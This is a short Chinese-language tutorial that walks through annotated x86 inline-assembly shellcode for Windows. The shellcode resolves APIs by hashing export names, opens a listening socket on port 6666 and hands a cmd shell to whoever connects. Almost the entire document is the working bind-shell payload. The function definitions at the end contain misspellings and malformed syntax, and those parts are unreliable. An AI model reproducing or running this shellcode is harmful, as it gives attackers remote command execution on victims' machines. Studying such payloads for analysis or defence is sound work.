代码附详细解析
#include <stdio.h>
void main()
{
_asm{
_emit 0x59
_emit 0x81
_emit 0xc9
_emit 0xd3
_emit 0x62
_emit 0x30
_emit 0x20
_emit 0x41
_emit 0x43
_emit 0x4d
_emit 0x64//定义混合在代码中的数据,把这几个函数进行hash计算的结果存着作比较
cdq//扩展64位符号数
xchg eax,esi//保存第一个hash值的地址
lea edi,[esi - 0x18]//指向代码的开头
mov ebx,fs:[edx + 0x30]
mov ecx,[ebx + 0x0c]
mov ecx,[ecx+ 0x1c]
mov ecx,[ecx]
mov ebp,[ecx + 0x08]//方法与上一节的相仿,根据偏移找到kernel32的地址
mov dh,0x03
sub esp,edx//开辟更多栈空间
mov dx, 0x3233
push edx
push 0x5E327377
push esp//把we2_32字符放入栈中
find_lib_functions:
lodsb
cmp al,0xd3//与WSAStartup的哈希值作对比
jne find_functions
xchg eax,ebp
call [edi - 0xc]//LoadLibrary(we2_32)
xchg eax,ebp
find_functions:
pushad
mov eax,[ebp + 0x3c]
mov ecx ,[ebp + eax + 0x78]
add ecx,ebp
mov ebx,[ecx + 0x20]
add ebx,ebp
xor edi,edi//与上一节的方法相似,根据偏移找到导出名称表
next_function_loop:
inc edi
mov esi,[ebx + edi * 4]
add esi,ebp
cdq//找到名称的字符
hash_loop:
lodsb//esi指向的字符串轮番装入al
xor al,0x71
sub dl,al//运算
cmp al,0x71//判断最后一位是不是NULL
jne hash_loop
cmp dl,[esp + 0x71]
jnz next_function_loop///对比是否和需要的apihash一致
mov ebx,[ecx + 0x24]
add ebx,ebp
mov dl,[ebx + 2 * edi]
mov ebx,[ecx + 0x1c]
add ebx,ebp
add ebp,[ebx + 4 * edi]//经典操作和上一节相仿,获得函数的地址
xchg eax,ebp//地址移入eax
pop edi
stosd//把eax的内容复制到edi中
push edi
popad
cmp esi,edi//如果esi等于edi那么证明所有函数都跑完了
jne find_lib_functions
pop esi
push esp
push 0x02
lodsd
call eax//调用WSAStartup
mov byte ptr [esi + 0x13],al
lea ecx,[eax + 0x30]
mov edi,esp
rep stosd//初始化出一个WSASocket结构体,全为NULL
inc eax
push eax
inc eax
push eax
lodsd//令前两个参数分别为1和2
call eax//调用WSASocket
xchg ebp ,eax//保存传回来的socket
mov eax,0x0a1aff02//0x1a0x = port 6666 0x02 = AF_INET
xor ah,ah//ff变为0
push eax
push esp
call_loop:
push ebp
lodsd//把esi中存的地址放入eax中调用
call eax
test eax,eax
jz call_loop//依次调用bind,listen,accept
inc byte ptr [esp + 0x2d]
sub edi,0x5c
stosd
stosd//建立Creatprocess结构体
pop eax
push esp
push esp
push eax
push eax
push eax
push esp//true
push eax
push eax
push esi//cmd
push eax//传参
call [esi - 0x1c]//CreatProcess
call [esi - 0x18]//Exitprocess
}
}
方法与上一节的基本一样,优化了一下hash算法,多了几个传参的函数
附函数定义
WSAStartup的定义
int WSAStartup{
WORD wVersionRequested
LPWSADATA lpWSAData
};
WSASocket的定义
SOCKET WSASocket{
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo
GROUP g,
DWORD dwFlags
};
listen的定义
int listen{
SOCKET s;
int backing
};
accept的定义
SOCKET sccept{
SOCKET s,
struct sockaddr* addr,
int* addrlen
};